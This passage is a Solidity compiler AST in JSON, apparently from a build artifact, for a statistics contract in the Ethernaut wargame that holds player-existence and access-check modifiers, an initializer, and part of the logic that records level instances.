(bool)"}},"id":55626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1863:21:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20616c726561647920657869737473","id":55628,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1886:22:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_bb8dcf6f060f78d4b3509235cdc95a3e3089a398b9110cce72b3cf8226f90b2d","typeString":"literal_string \"Level already exists\""},"value":"Level already exists"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_bb8dcf6f060f78d4b3509235cdc95a3e3089a398b9110cce72b3cf8226f90b2d","typeString":"literal_string \"Level already exists\""}],"id":55623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1854:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55629,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1854:55:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55630,"nodeType":"ExpressionStatement","src":"1854:55:116"},{"id":55631,"nodeType":"PlaceholderStatement","src":"1919:1:116"}]},"name":"levelDoesntExistCheck","nameLocation":"1807:21:116","parameters":{"id":55622,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55621,"mutability":"mutable","name":"level","nameLocation":"1837:5:116","nodeType":"VariableDeclaration","scope":55633,"src":"1829:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55620,"name":"address","nodeType":"ElementaryTypeName","src":"1829:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1828:15:116"},"virtual":false,"visibility":"internal"},{"id":55646,"nodeType":"ModifierDefinition","src":"1933:127:116","nodes":[],"body":{"id":55645,"nodeType":"Block","src":"1976:84:116","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":55639,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55635,"src":"2010:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55638,"name":"doesPlayerExist","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56423,"src":"1994:15:116","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":55640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1994:23:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"506c6179657220646f65736e2774206578697374","id":55641,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2019:22:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_fe9cbfc471c82666791b69806cdad8eea43b8a3af54fbdae6c353449fa9c7342","typeString":"literal_string \"Player doesn't exist\""},"value":"Player doesn't exist"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_fe9cbfc471c82666791b69806cdad8eea43b8a3af54fbdae6c353449fa9c7342","typeString":"literal_string \"Player doesn't exist\""}],"id":55637,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1986:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55642,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1986:56:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55643,"nodeType":"ExpressionStatement","src":"1986:56:116"},{"id":55644,"nodeType":"PlaceholderStatement","src":"2052:1:116"}]},"name":"playerExistsCheck","nameLocation":"1942:17:116","parameters":{"id":55636,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55635,"mutability":"mutable","name":"player","nameLocation":"1968:6:116","nodeType":"VariableDeclaration","scope":55646,"src":"1960:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55634,"name":"address","nodeType":"ElementaryTypeName","src":"1960:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1959:16:116"},"virtual":false,"visibility":"internal"},{"id":55658,"nodeType":"ModifierDefinition","src":"2066:126:116","nodes":[],"body":{"id":55657,"nodeType":"Block","src":"2091:101:116","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":55649,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2109:3:116","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2113:6:116","memberName":"sender","nodeType":"MemberAccess","src":"2109:10:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":55651,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55515,"src":"2123:9:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2109:23:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e6374696f6e","id":55653,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2134:39:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_5575ea6020a3bf3733d83fb494211a1209ce454db61502d4241a05ca29624289","typeString":"literal_string \"Only Ethernaut can call this function\""},"value":"Only Ethernaut can call this function"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5575ea6020a3bf3733d83fb494211a1209ce454db61502d4241a05ca29624289","typeString":"literal_string \"Only Ethernaut can call this function\""}],"id":55648,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2101:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2101:73:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55655,"nodeType":"ExpressionStatement","src":"2101:73:116"},{"id":55656,"nodeType":"PlaceholderStatement","src":"2184:1:116"}]},"name":"onlyEthernaut","nameLocation":"2075:13:116","parameters":{"id":55647,"nodeType":"ParameterList","parameters":[],"src":"2088:2:116"},"virtual":false,"visibility":"internal"},{"id":55670,"nodeType":"FunctionDefinition","src":"2198:112:116","nodes":[],"body":{"id":55669,"nodeType":"Block","src":"2264:46:116","nodes":[],"statements":[{"expression":{"id":55667,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55665,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55515,"src":"2274:9:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":55666,"name":"_ethernautAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55660,"src":"2286:17:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2274:29:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55668,"nodeType":"ExpressionStatement","src":"2274:29:116"}]},"functionSelector":"c4d66de8","implemented":true,"kind":"function","modifiers":[{"id":55663,"kind":"modifierInvocation","modifierName":{"id":55662,"name":"initializer","nameLocations":["2252:11:116"],"nodeType":"IdentifierPath","referencedDeclaration":48412,"src":"2252:11:116"},"nodeType":"ModifierInvocation","src":"2252:11:116"}],"name":"initialize","nameLocation":"2207:10:116","parameters":{"id":55661,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55660,"mutability":"mutable","name":"_ethernautAddress","nameLocation":"2226:17:116","nodeType":"VariableDeclaration","scope":55670,"src":"2218:25:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55659,"name":"address","nodeType":"ElementaryTypeName","src":"2218:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2217:27:116"},"returnParameters":{"id":55664,"nodeType":"ParameterList","parameters":[],"src":"2264:0:116"},"scope":56450,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":55774,"nodeType":"FunctionDefinition","src":"2343:936:116","nodes":[],"body":{"id":55773,"nodeType":"Block","src":"2494:785:116","nodes":[],"statements":[{"condition":{"id":55687,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2508:24:116","subExpression":{"arguments":[{"id":55685,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"2525:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55684,"name":"doesPlayerExist","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56423,"src":"2509:15:116","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":55686,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2509:23:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55701,"nodeType":"IfStatement","src":"2504:116:116","trueBody":{"id":55700,"nodeType":"Block","src":"2534:86:116","statements":[{"expression":{"arguments":[{"id":55691,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"2561:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":55688,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55518,"src":"2548:7:116","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":55690,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2556:4:116","memberName":"push","nodeType":"MemberAccess","src":"2548:12:116","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_address_$dyn_storage_ptr_$_t_address_$returns$__$attached_to$_t_array$_t_address_$dyn_storage_ptr_$","typeString":"function (address[] storage pointer,address)"}},"id":55692,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2548:20:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55693,"nodeType":"ExpressionStatement","src":"2548:20:116"},{"expression":{"id":55698,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":55694,"name":"playerExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55590,"src":"2582:12:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":55696,"indexExpression":{"id":55695,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"2595:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2582:20:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":55697,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2605:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2582:27:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55699,"nodeType":"ExpressionStatement","src":"2582:27:116"}]}},{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55712,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55702,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"2685:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55704,"indexExpression":{"id":55703,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"2697:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2685:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55706,"indexExpression":{"id":55705,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55674,"src":"2705:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2685:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55707,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2712:8:116","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":55529,"src":"2685:35:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":55710,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2732:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":55709,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2724:7:116","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55708,"name":"address","nodeType":"ElementaryTypeName","src":"2724:7:116","typeDescriptions":{}}},"id":55711,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2724:10:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2685:49:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55723,"nodeType":"IfStatement","src":"2681:143:116","trueBody":{"id":55722,"nodeType":"Block","src":"2736:88:116","statements":[{"expression":{"id":55720,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":55713,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55573,"src":"2750:30:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":55716,"indexExpression":{"id":55714,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"2781:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2750:38:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55717,"indexExpression":{"id":55715,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55674,"src":"2789:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2750:45:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":55718,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"2798:5:116","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":55719,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2804:9:116","memberName":"timestamp","nodeType":"MemberAccess","src":"2798:15:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2750:63:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55721,"nodeType":"ExpressionStatement","src":"2750:63:116"}]}},{"expression":{"id":55757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":55724,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"2833:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55727,"indexExpression":{"id":55725,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"2845:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2833:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55728,"indexExpression":{"id":55726,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55674,"src":"2853:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2833:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":55730,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55672,"src":"2889:8:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"66616c7365","id":55731,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2911:5:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"expression":{"id":55732,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"2930:5:116","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":55733,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2936:9:116","memberName":"timestamp","nodeType":"MemberAccess","src":"2930:15:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"30","id":55734,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2959:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":55743,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"expression":{"baseExpression":{"baseExpression":{"id":55735,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"2974:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55737,"indexExpression":{"id":55736,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"2986:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2974:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55739,"indexExpression":{"id":55738,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55674,"src":"2994:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2974:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55740,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3001:13:116","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":55538,"src":"2974:40:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":55741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3015:6:116","memberName":"length","nodeType":"MemberAccess","src":"2974:47:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":55742,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3025:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2974:52:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"arguments":[{"hexValue":"30","id":55753,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3118:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":55752,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"3104:13:116","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_uint256_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (uint256[] memory)"},"typeName":{"baseType":{"id":55750,"name":"uint256","nodeType":"ElementaryTypeName","src":"3108:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55751,"nodeType":"ArrayTypeName","src":"3108:9:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}}},"id":55754,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3104:16:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"id":55755,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"2974:146:116","trueExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55744,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"3045:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55746,"indexExpression":{"id":55745,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"3057:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3045:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55748,"indexExpression":{"id":55747,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55674,"src":"3065:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3045:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55749,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3072:13:116","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":55538,"src":"3045:40:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}],"id":55729,"name":"LevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55539,"src":"2862:13:116","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_LevelInstance_$55539_storage_ptr_$","typeString":"type(struct Statistics.LevelInstance storage pointer)"}},"id":55756,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2862:268:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_memory_ptr","typeString":"struct Statistics.LevelInstance memory"}},"src":"2833:297:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55758,"nodeType":"ExpressionStatement","src":"2833:297:116"},{"expression":{"id":55763,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"3140:40:116","subExpression":{"expression":{"baseExpression":{"id":55759,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55567,"src":"3140:10:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level storage ref)"}},"id":55761,"indexExpression":{"id":55760,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55674,"src":"3151:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3140:17:116","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$55546_storage","typeString":"struct Statistics.Level storage ref"}},"id":55762,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"3158:20:116","memberName":"noOfInstancesCreated","nodeType":"MemberAccess","referencedDeclaration":55541,"src":"3140:38:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55764,"nodeType":"ExpressionStatement","src":"3140:40:116"},{"expression":{"id":55766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"3190:28:116","subExpression":{"id":55765,"name":"globalNoOfInstancesCreated","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55523,"src":"3190:26:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55767,"nodeType":"ExpressionStatement","src":"3190:28:116"},{"expression":{"id":55771,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"3228:44:116","subExpre